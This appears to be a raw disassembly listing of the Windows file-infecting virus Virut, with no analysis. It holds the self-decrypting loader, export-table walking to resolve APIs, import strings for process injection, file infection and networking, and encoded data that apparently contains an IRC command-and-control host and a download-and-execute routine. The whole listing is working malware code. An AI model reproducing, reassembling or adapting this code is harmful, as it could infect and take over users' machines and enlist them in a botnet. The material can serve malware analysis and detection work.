83431075h, 8D07F47Dh, 1CD8318Ch, 4D890000h, 8B547CE0h dd 4D2BF04Dh, 8758BECh, 310CB60Fh, 0D1DC4D89h, 758BDC65h dd 0E07D8BDCh, 100E681h, 0C8D0000h, 8F948D1Eh, 400h, 360E8h dd 0E80D7300h, 37Bh, 0F685DB03h, 0DEB3875h, 383E8h, 8DF68500h dd 74011B5Ch, 0FB8129h, 7C000001h, 8B27EBBEh, 148DE04Dh dd 32FE899h, 9730000h, 34AE8h, 0EBDB0300h, 356E809h, 5C8D0000h dd 0FB81011Bh, 100h, 758BD97Ch, 84D8BF0h, 83F045FFh, 8804F47Dh dd 1C88FC5Dh, 83097D0Eh, 0E900F465h, 0FFFFFF23h, 0AF47D83h dd 6D83097Dh, 14E903F4h, 83FFFFFFh, 0E906F46Dh, 0FFFFFF0Bh dd 30FE8h, 0F4558B00h, 8D104D8Bh, 3009194h, 0C6E80000h dd 73000002h, 2E1E836h, 7D830000h, 4D8B07F4h, 0D84D89E8h dd 89E44D8Bh, 4D8BE84Dh, 0E44D89ECh, 6583067Dh, 5EB00F4h dd 458F036Ah, 10558BF4h, 0CC8C281h, 0EEE90000h, 0E8000000h dd 2C0h, 8BF44D8Bh, 948D1055h, 3308Ah, 277E800h, 56730000h dd 292E8h, 0F44D8B00h, 0C10FC183h, 7D8B04E1h, 8DCE0310h dd 5AE88F14h, 73000002h, 275E832h, 758B0000h, 83C933F0h dd 8B07F47Dh, 9D0F0855h, 94C8DC1h, 0F44D8909h, 2BF04D8Bh dd 45FFEC4Dh, 110C8AF0h, 88FC4D88h, 54E9160Ch, 0E8FFFFFEh dd 258h, 51E863EBh, 8B000002h, 4D8B1055h, 8A948DF4h, 360h dd 208E8h, 0E80A7300h, 223h, 0EBE44D8Bh, 22EE837h, 4D8B0000h dd 10558BF4h, 908A948Dh, 0E8000003h, 1E5h, 0E80A73h, 8B000002h dd 0EEBE84Dh, 20BE8h, 0E8558B00h, 89D84D8Bh, 558BD855h dd 0E85589E4h, 89EC558Bh, 4D89E455h, 83C933ECh, 0F07F47Dh dd 8349C19Dh, 0C183FDE1h, 0F44D890Bh, 8110558Bh, 14D0C2h dd 19BE800h, 10730000h, 1B6E8h, 0C1006A00h, 5C8D05E6h dd 20EB0816h, 1BBE8h, 4C28300h, 17CE8h, 0E8157300h, 197h dd 8D05E6C1h, 204169Ch, 86A0000h, 0FEB036Ah, 197E8h, 49A8D00h dd 6A000004h, 59086A10h, 51D44D89h, 18BE8h, 0F6335900h dd 0D3DA8B46h, 0CE2B59E6h, 7D83D903h, 0F5304F4h, 0BD8Dh dd 0F4458300h, 4FB8307h, 0CB8B047Dh, 36A03EBh, 10758B59h dd 8D08E1C1h, 6C0319Ch, 66A0000h, 0E8D4458Fh, 14Ch, 8340EA83h dd 0FA8B04FAh, 5B8C0Fh, 0CA8B0000h, 0E783F9D1h, 0CF834901h dd 0EFA8302h, 7DD44D89h, 8BE7D312h, 8BCA2BCFh, 9C8D1055h dd 0ABC8Ah, 832CEB00h, 0E85104E9h, 0B0h, 0FF03E8D1h, 720C4539h dd 0C452906h, 5901CF83h, 5D8BE8E2h, 88C38110h, 0C100000Ch dd 46A04E7h, 6AD4458Fh, 0DC458F01h, 0E3E8h, 7D894700h dd 2C745BECh, 43F04D8Bh, 343CF2Bh, 118A084Dh, 8BF0758Bh dd 0FF4B087Dh, 8541F045h, 0FC5588DBh, 753E1488h, 0FCA5E9E9h dd 8B5BFFFFh, 0D4EBEC7Dh, 0E30F8B5Fh, 8B046A46h, 4D8B0875h dd 0C7835AF0h, 73D13B04h, 3C42AC36h, 3C1674E8h, 3C1274E9h dd 3BEE750Fh, 0AC2473D1h, 72803C42h, 778F3CEAh, 74173BE6h dd 3C068BD9h, 32D6750Dh, 2BC80FC0h, 830689C2h, 0C28304C6h dd 61C6EB04h, 0CC2C9h, 3Dh, 56197301h, 8BF8758Bh, 0B60F0C4Dh dd 8E1C136h, 0E0C1CE0Bh, 0F845FF08h, 5E0C4D89h, 0FFDAE8C3h dd 0A8BFFFFh, 0EFC1F88Bh, 0F9AF0F0Bh, 0C30C7D39h, 0BFC78Bh dd 2B000008h, 5EFC1F9h, 0E8C3F903h, 0FFFFFFECh, 29C33A89h dd 0C72B0C7Dh, 0EFC1F98Bh, 0C3CF2B05h, 0FFFFEEE8h, 0C30A89FFh dd 5742D233h, 0FFFF97E8h, 930C8BFFh, 0FFFFB7E8h, 0E80D73FFh dd 0FFFFFFBCh, 3933C89h, 10EB5FD2h, 0FFFFC6E8h, 930C89FFh dd 112548Dh, 0DC7D0B5Fh, 0FFDC65D1h, 0CB75D44Dh, 0FA21E8C3h dd 0FFFFh, 5D09h, 0D0140040h, 17C004Eh, 10061h, 10000000h dd 0E74D0040h, 9 db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_6106C1 call sub_610731 mov ebp, fs:0 lea ebp, [ebp+8] jmp loc_6106EA start endp ; =============== S U B R O U T I N E ======================================= sub_6106C1 proc near ; CODE XREF: start+3p var_2C = dword ptr -2Ch var_24 = dword ptr -24h ; FUNCTION CHUNK AT 0061075D SIZE 0000010A BYTES ; FUNCTION CHUNK AT 006108D5 SIZE 0000000A BYTES push dword ptr fs:0 mov fs:0, esp xor ecx, ecx push 40h push ecx push ecx push ecx push ecx push 80000000h push ecx push 80000000h push ecx call ds:dword_610038 ; LoadLibraryA loc_6106EA: ; CODE XREF: start+16j sub eax, eax loc_6106EC: ; CODE XREF: sub_6106C1+31j dec al or al, al jz short loc_6106F6 jnz short loc_6106EC jmp short loc_61075D ; --------------------------------------------------------------------------- loc_6106F6: ; CODE XREF: sub_6106C1+2Fj call $+5 pop esi add esi, 43h push esi mov edi, 243Ch sub edx, edx add edx, 0B2h loc_610710: ; CODE XREF: sub_6106C1+5Ej xchg al, [esi] xor ax, dx xchg al, [esi] add esi, 1 sub edi, 1 or edi, edi jnz short loc_610710 pop esi mov esp, fs:0 pop dword ptr fs:0 leave jmp esi sub_6106C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_610731 proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_610731 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] test dword ptr [eax+242Bh], 80000000h mov [eax+29ACh], ebx mov ebx, [esp+4] jz short loc_61078A ; START OF FUNCTION CHUNK FOR sub_6106C1 loc_61075D: ; CODE XREF: sub_6106C1+33j cld pop ecx mov [eax+29B0h], esi mov [eax+29B4h], edi cmp byte ptr [eax+242Fh], 0E8h jnz short loc_610781 add ebx, [eax+2430h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_610789 ; --------------------------------------------------------------------------- loc_610781: ; CODE XREF: sub_6106C1+B1j mov ebx, [eax+2431h] push dword ptr [ebx] loc_610789: ; CODE XREF: sub_6106C1+BEj pop ebx loc_61078A: ; CODE XREF: .XComp:0061075Bj push ebp xchg eax, ebp sub [esp+28h+var_24], 744h and ebx, 0FFFFF000h sub ebp, 401006h mov edi, [esp+28h+var_24] lea esi, [ebp+40343Ch] mov ecx, 0 rep movsb loc_6107B1: ; CODE XREF: sub_6106C1+10Cj cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_6107C7 mov eax, [ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_6107CF loc_6107C7: ; CODE XREF: sub_6106C1+F7j sub ebx, 100h jnz short loc_6107B1 loc_6107CF: ; CODE XREF: sub_6106C1+104j mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_6107DD: ; CODE XREF: sub_6106C1:loc_610804j lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_610804 cmp dword ptr [eax+3], 636F7250h jnz short loc_610804 cmp dword ptr [eax+7], 72646441h jnz short loc_610804 cmp dword ptr [eax+0Bh], 737365h jz short loc_610809 loc_610804: ; CODE XREF: sub_6106C1+126j ; sub_6106C1+12Fj ... loop loc_6107DD pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_610809: ; CODE XREF: sub_6106C1+141j sub [esp+2Ch+var_2C], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_61082F+2 inc ebx insb outsd jnb short near ptr loc_61088D+2 dec eax popa outsb db 64h insb loc_61082F: ; CODE XREF: sub_6106C1+15Fp add gs:[ebx-1], dl setalc mov [ebp+40353Ch], eax call near ptr loc_61084B+1 inc ebx jb short near ptr loc_6108A6+1 popa jz short near ptr loc_6108A6+4 inc ebp jbe short near ptr loc_6108AC+1 outsb jz short near ptr loc_61088A+2 loc_61084B: ; CODE XREF: sub_6106C1+179p add [ebx-1], dl setalc mov dword ptr ss:loc_403540[ebp], eax call sub_610867 inc edi db 65h jz short near ptr loc_6108A6+4 popa jnb short loc_6108D5 inc ebp jb short near ptr loc_6108D5+1 outsd jb short $+2 ; END OF FUNCTION CHUNK FOR sub_6106C1 ; =============== S U B R O U T I N E ======================================= sub_610867 proc near ; CODE XREF: sub_6106C1+194p ; FUNCTION CHUNK AT 00610910 SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 00610A50 SIZE 0000013A BYTES push ebx call esi mov [ebp+403544h], eax call sub_6108E5 test eax, eax jz short loc_61089A push eax call dword ptr [ebp+403544h] test eax, eax jnz short loc_610894 lea eax, [ebp+4011D2h] loc_61088A: ; CODE XREF: sub_6106C1+188j mov dl, [eax-1] loc_61088D: ; CODE XREF: sub_6106C1+167j call sub_610900 jmp short loc_610910 ; --------------------------------------------------------------------------- loc_610894: ; CODE XREF: sub_610867+1Bj ; sub_610867+136j ... call dword ptr [ebp+40353Ch] loc_61089A: ; CODE XREF: sub_610867+10j test dword ptr ss:loc_403431[ebp], 80000000h jz short loc_6108C4 loc_6108A6: ; CODE XREF: sub_6106C1+17Fj ; sub_6106C1+182j ... lea esi, [ebp+403435h] loc_6108AC: ; CODE XREF: sub_6106C1+185j mov edi, [esp+4] movsb movsd mov ebx, dword ptr ss:loc_4039B2[ebp] mov esi, [ebp+4039B6h] mov edi, dword ptr ss:loc_4039BA[ebp] loc_6108C4: ; CODE XREF: sub_610867+3Dj pop ebp retn sub_610867 endp ; --------------------------------------------------------------------------- loc_6108C6: ; CODE XREF: sub_6108E5+2p ; sub_610867:loc_610ACFp pop edx push 0 push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_6106C1 loc_6108D5: ; CODE XREF: sub_6106C1+19Ej ; sub_6106C1+1A1j les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; END OF FUNCTION CHUNK FOR sub_6106C1 ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_6108E5 proc near ; CODE XREF: sub_610867+9p xor ecx, ecx call loc_6108C6 lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call dword ptr ss:loc_403540[ebp] add esp, 20h retn sub_6108E5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_610900 proc near ; CODE XREF: sub_610867:loc_61088Dp ; sub_6126D4+25Bp mov dh, dl mov ecx, 225Fh loc_610907: ; CODE XREF: sub_610900+Cj xor [eax], dl inc eax add dl, dh loop loc_610907 retn sub_610900 endp ; --------------------------------------------------------------------------- db 7Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_610867 loc_610910: ; CODE XREF: sub_610867+2Bj and dword ptr [ebp+401580h], 0 and dword ptr ss:loc_401584[ebp], 0 and dword ptr [ebp+401588h], 0 mov eax, dword ptr ss:loc_403431[ebp] xor ecx, ecx push 1 mov cl, 20h pop dword ptr [ebp+40397Eh] loc_610937: ; CODE XREF: sub_610867+E0j xor edx, edx shr eax, 1 setb dl shl dl, 3 add [ebp+40397Eh], edx loop loc_610937 push edi mov byte ptr [ebp+401303h], 1 mov [ebp+403548h], esi lea esi, loc_4015BB[ebp] xor ecx, ecx lea edi, [ebp+403558h] mov cl, 1Eh call sub_610CCA pop edi call dword ptr [ebp+403594h] shr eax, 1Fh jz loc_610A50 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+403550h], eax push 69CEh push 0 call dword ptr [ebp+4035C8h] test eax, eax jz loc_610894 xchg eax, edi lea esi, sub_401000[ebp] mov ebp, edi mov ecx, 0A74h sub ebp, offset sub_401000 lea edx, loc_401283[ebp] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_610867 ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+401A3Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+403550h] add esp, 20h test eax, eax jz loc_610894 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+403550h] test eax, eax jz loc_610894 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+403550h] push 1000Ah call dword ptr [ebp+403550h] call sub_610A40 jmp loc_610894 ; =============== S U B R O U T I N E ======================================= sub_610A40 proc near ; CODE XREF: .XComp:00610A36p ; sub_610A40+Dj push 1 pop ecx jecxz short locret_610A4F push 0Ah call dword ptr ss:loc_4035BC[ebp] jmp short sub_610A40 ; --------------------------------------------------------------------------- locret_610A4F: ; CODE XREF: sub_610A40+3j retn sub_610A40 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_610867 loc_610A50: ; CODE XREF: sub_610867+10Fj cmp dword ptr ss:loc_403570[ebp], 0 jz loc_610894 call near ptr loc_610A67+1 dec esi push esp inc esp dec esp dec esp loc_610A67: ; CODE XREF: sub_610867+1F6p add bh, bh xchg eax, ebp mov ds:0B58D0040h, dh jnb short near ptr loc_610A84+5 inc eax add [ebx], dh leave lea edi, [ebp+4035D0h] mov cl, 0Bh xchg eax, ebx call sub_610CCA loc_610A84: ; CODE XREF: sub_610867+209j cmp dword ptr [ebp+4035F8h], 0 jz loc_610894 mov eax, dword ptr ss:loc_4035D4[ebp] push dword ptr [eax+1] pop dword ptr [ebp+403395h] mov eax, dword ptr ss:loc_4035E8[ebp] push dword ptr [eax+1] pop dword ptr [ebp+4033E2h] mov eax, [ebp+4035D8h] push dword ptr [eax+1] pop dword ptr ss:loc_4033E9[ebp] mov ecx, [ebp+4035DCh] jecxz short loc_610ACF push dword ptr [ecx+1] pop dword ptr ss:loc_4033F6[ebp] loc_610ACF: ; CODE XREF: sub_610867+25Dj call loc_6108C6 lea edi, [ebp+40364Eh] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+40159Fh] mov ecx, 1Ch mov edx, esp lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_610B14: ; CODE XREF: sub_610867+2B0j lodsb stosw loop loc_610B14 push 0 push 69CEh mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+4035E0h] pop eax add esp, 40h push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 69CEh push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+4035E4h] pop edi pop ecx test edi, edi jz loc_610894 lea esi, sub_401000[ebp] mov ecx, 0A74h mov ebp, edi rep movsd sub ebp, offset sub_401000 lea eax, [ebp+40144Ch] jmp eax ; END OF FUNCTION CHUNK FOR sub_610867 ; --------------------------------------------------------------------------- dw 958Dh dd offset loc_4018DF+1 dd 9C95FF52h, 0E8004035h, 16h aLookupprivil_0 db 'LookupPrivilegeValueA',0 dw 0FF50h dd 40354895h, 4C858900h, 50004035h, 6A206A54h, 0EC95FFFFh dd 85004035h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h dd 4C95FF56h, 8B004035h, 565656C4h, 0FF575650h, 4035D095h dd 10C48300h, 3C95FF57h, 6A004035h, 0FF026A00h, 40357095h dd 128B900h, 2B970000h, 240C89E1h, 95FF5754h, 4035ACh dd 0A583F633h, 40363Ch, 0FF575400h, 4035B095h, 74C08500h dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 4035A895h dd 74C08500h, 3DE893DCh, 33000004h, 30E391C9h, 363C8539h dd 28750040h, 0DAEC181h, 54500000h, 50515650h, 95FF5350h dd 403568h, 7459C085h, 2474FF0Fh, 3C858F08h, 0E8004036h dd 0FFFFFDACh, 3C95FF53h, 0EB004035h, 28C48198h, 57000001h dd 353C95FFh, 0E5E90040h, 8DFFFFFBh, 58580049h, 29CE0058h dd 0D650000h, 3 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_610CCA proc near ; CODE XREF: sub_610867+100p ; sub_610867+218p ... push ecx push esi push ebx call dword ptr [ebp+403548h] stosd pop ecx loc_610CD5: ; CODE XREF: sub_610CCA+Ej lodsb test al, al jnz short loc_610CD5 loop sub_610CCA retn sub_610CCA endp ; --------------------------------------------------------------------------- aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aFiletimetosyst db 'FileTimeToSystemTime',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32fir_0 db 'Process32First',0 aProcess32nex_0 db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup_0 db 'WSAStartup',0 aClosesocket_0 db 'closesocket',0 aConnect_0 db 'connect',0 aGethostbynam_0 db 'gethostbyname',0 aRecv_0 db 'recv',0 aSend_2 db 'send',0 aSocket_0 db 'socket',0 aInternetclos_0 db 'InternetCloseHandle',0 aInternetgetc_1 db 'InternetGetConnectedState',0 aInternetopen_0 db 'InternetOpenA',0 aInternetopen_1 db 'InternetOpenUrlA',0 aInternetread_0 db 'InternetReadFile',0 aAdvapi32_dll_1 db 'ADVAPI32.DLL',0 aRegclosekey_0 db 'RegCloseKey',0 aRegopenkeyex_0 db 'RegOpenKeyExA',0 aRegqueryvalu_0 db 'RegQueryValueExA',0 aRegsetvaluee_0 db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_611065 proc near ; CODE XREF: .XComp:0061110Cp ; .XComp:0061111Dp ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4035F0h] add esp, 0Ch call dword ptr ss:loc_4035F4[ebp] add esp, 8 retn sub_611065 endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+4015B1h] xor edi, edi push eax push 0 push 0Eh call dword ptr ss:loc_4035A4[ebp] test eax, eax jz loc_611148 push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call dword ptr [ebp+4035E4h] pop edi pop ecx call dword ptr [ebp+40353Ch] test edi, edi jz short loc_611148 mov ecx, [ebp+401588h] jecxz short loc_611100 lea edx, sub_401000[ebp] add edx, ecx push edi push ebx call edx loc_611100: ; CODE XREF: .XComp:006110F2j mov eax, dword ptr ss:loc_4035D4[ebp] lea ecx, [edi+2394h] call sub_611065 mov eax, dword ptr ss:loc_4035E8[ebp] lea ecx, [edi+23E1h] call sub_611065 mov eax, [ebp+4035D8h] lea ecx, [edi+23E8h] call sub_611065 mov eax, [ebp+4035DCh] test eax, eax jz short loc_611148 lea ecx, [edi+23F5h] call sub_611065 loc_611148: ; CODE XREF: .XComp:006110B2j ; .XComp:006110EAj ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 401A14h xor ecx, ecx lea eax, [ebp+401DAEh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+40356Ch] xchg eax, [esp] call dword ptr [ebp+40353Ch] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h dd 0E8h, 0ED815D00h, 401A43h, 958DFF6Ah, 401A0Eh, 20CD5250h dd 2A0024h, 660CC483h, 1A5485C7h, 20CD0040h, 1A5685C7h dd 240040h, 0C35D002Ah, 16A016Ah, 73FF33FFh, 8515FF04h dd 68F074C0h, 0Bh, 35BD08Bh, 0B58D3C50h, 401A72h, 10CBA8Bh dd 8A8B0000h, 108h, 0CB2BF803h, 0F3CB8B60h, 57461A6h, 0EBF5E247h dd 0FC783C2h, 53D48B57h, 5450CC8Bh, 5251406Ah, 95FFFF6Ah dd 4035F0h, 8B0CC483h, 40357495h, 83D72B00h, 7C707EAh dd 0E8006Ah, 0C3035789h, 0E8581A6Ah, 9, 0AA61428Dh, 0F075C9FEh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_61122D proc near ; CODE XREF: sub_611A98+1Bp ; sub_611C10+3p ... imul edx, dword ptr ss:loc_403646[ebp], 8088405h inc edx mov dword ptr ss:loc_403646[ebp], edx mul edx retn sub_61122D endp ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1B09ED81h, 9D8B0040h, 40364Ah, 8247C83h dd 0B9840F00h, 81000000h, 208ECh, 4685400h, 0FF000001h dd 40359095h, 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h dd 0FF570054h, 40358C95h, 8DC93300h, 10497h, 6A515100h dd 16A5102h, 68h, 95FF5240h, 40355Ch, 74F68596h, 6854505Bh dd 104h, 24B4FF57h, 220h, 362895FFh, 85590040h, 0E31674C0h dd 0D48B5014h, 5152006Ah, 95FF5657h, 4035CCh, 75C08559h dd 95FF56D0h, 40353Ch, 5244578Dh, 58446A57h, 104978Dh dd 33AB0000h, 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h dd 403564h, 208C481h, 74FF0000h, 95FF0824h, 403618h, 1895FF53h dd 5D004036h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004015h dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh dd 5651006Ah, 1095FF53h, 59004036h, 850FC13Bh, 0DFh, 1DA2858Dh dd 6A0040h, 0C68h, 0FF535000h, 40361095h, 0C3D00h, 850F0000h dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h dd 0F0D3CACh, 9984h, 75203C00h, 3A3CACF3h, 8C850Fh, 0DAD0000h dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch, 20FF7E81h dd 75747468h, 37E8171h, 2F2F3A70h, 47C66875h, 310F00FFh dd 2710BAh, 52E2F700h, 35BC95FFh, 0C0330040h, 50505050h dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 403620h, 3674C085h dd 8589C933h, 40364Ah, 2006851h, 51518000h, 95FF5056h dd 403624h, 1B03958Dh, 33500040h, 505154C9h, 0FF515152h dd 40356C95h, 24048700h, 353C95FFh, 0C3F80040h, 15778D80h dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h, 736F7263h dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 67726154h dd 6F487465h, 2007473h, 55F0FF00h, 70D08F72h, 69786F72h dd 72692E6Dh, 6C616763h, 2E797861h, 4E006C70h, 204B4349h dd 6274676Ch, 7A6F6D70h, 4553550Ah, 30772052h, 30353032h dd 202E2031h, 2D3A202Eh, 4E494F4Ah, 69762620h, 0A757472h dd 0E855h, 815D0000h, 401DB4EDh, 7785C600h, 4015h, 359495FFh dd 0E8C10040h, 6A3C741Fh, 50B58B1Eh, 59004035h, 752E3CACh dd 3E81662Ah, 23751DFFh, 3640BD8Dh, 768B0040h, 66A55702h dd 6A858DA5h, 8F004033h, 40339085h, 4689FA00h, 0FE4E8CFAh dd 0E201B1FBh, 8D43EBCFh, 4015B185h, 6A5000h, 95FF0E6Ah dd 4035A4h, 8247C83h, 0E82B7504h, 4, 434653h, 358895FFh dd 48E80040h, 0E8FFFFFCh, 7, 5F434653h, 0FF00534Fh, 40358895h dd 0FC31E800h, 56E8FFFFh, 0FFFFFFF3h, 4013038Dh, 0BE800h dd 53550000h, 32335245h, 4C4C442Eh, 9C95FF00h, 0E8004035h dd 0Ah, 72707377h, 66746E69h, 0FF500041h, 40354895h, 54858900h dd 0F004035h, 0E08D8D31h, 89004018h, 40364685h, 95FF5100h dd 40359Ch, 46893h, 0B58D0000h, 4018EDh, 2CBD8D59h, 0E8004036h dd 0FFFFF6D6h, 6785C766h, 0FF00401Dh, 69A583F0h, 401Dh dd 1D27958Dh, 54500040h, 6A016Ah, 26852h, 95FF8000h, 403630h dd 755AC085h, 5A8D8D22h, 5200401Dh, 0B58D066Ah, 401D67h dd 50505654h, 95FF5251h, 403634h, 2C95FF58h, 0C6004036h dd 40384D85h, 0CE80000h, 57000000h, 4B434F53h, 442E3233h dd 0FF004C4Ch, 40359C95h, 7689300h, 8D000000h, 401844B5h dd 0BD8D5900h, 4035FCh, 0FFF651E8h, 0CE8FFh, 49570000h dd 454E494Eh, 4C442E54h, 95FF004Ch, 40359Ch, 840FC085h dd 1E7h, 56893h, 0B58D0000h, 401882h, 18BD8D59h, 0E8004036h dd 0FFFFF61Ah, 361CBD83h, 0F000040h, 1C284h, 90EC8100h dd 54000001h, 10168h, 0FC95FF00h, 81004035h, 190C4h, 0D48B5000h dd 0FF52006Ah, 40361C95h, 59C08500h, 88680D75h, 0FF000013h dd 4035BC95h, 83E2EB00h, 401D69BDh, 29750000h, 1D6D858Dh dd 0FF500040h, 40360895h, 0FC08500h, 13B84h, 0C408B00h dd 30FF008Bh, 1D69858Fh, 85C60040h, 40384Dh, 6A006A01h dd 0FF026A01h, 40361495h, 0FFF88300h, 112840Fh, 8D930000h dd 401D6595h, 52106A00h, 495FF53h, 85004036h, 0F2850FC0h dd 8D000000h, 401D86BDh, 0E808B100h, 0FFFFFABCh, 9468h dd 0E62B5E00h, 54243489h, 359895FFh, 0BD8D0040h, 401D94h dd 9DE801B1h, 8BFFFFFAh, 0C1102444h, 440B08E0h, 0E0C10424h dd 24440B08h, 5E85008h, 25000000h, 78362Eh, 5495FF57h dd 83004035h, 47C60CC4h, 958D2006h, 401D81h, 2168006Ah dd 52000000h, 1095FF53h, 8D004036h, 5714247Ch, 355895FFh dd 4C60040h, 6A400A38h, 53575000h, 361095FFh, 0E6030040h dd 1DA2BD8Dh, 6A0040h, 0C68h, 0FF535700h, 40361095h, 0C3D00h dd 4D750000h, 364EB58Dh, 8D8D0040h, 40384Dh, 6ACE2Bh, 0FF535651h dd 40360C95h, 0F88300h, 8B912F7Eh, 4EB58DFEh, 0B0004036h dd 75AEF20Dh, 0F8E86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh dd 2BCF8BEAh, 4EBD8DCEh, 0F3004036h, 0EBF787A4h, 95FF53B9h dd 403600h, 1577BD80h, 74010040h, 7530682Ah, 95FF0000h dd 4035BCh, 384DBD80h, 74000040h, 6985C711h, 401Dh, 0C6000000h dd 40384D85h, 56E90000h, 0C7FFFFFEh, 40158085h, 0 dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 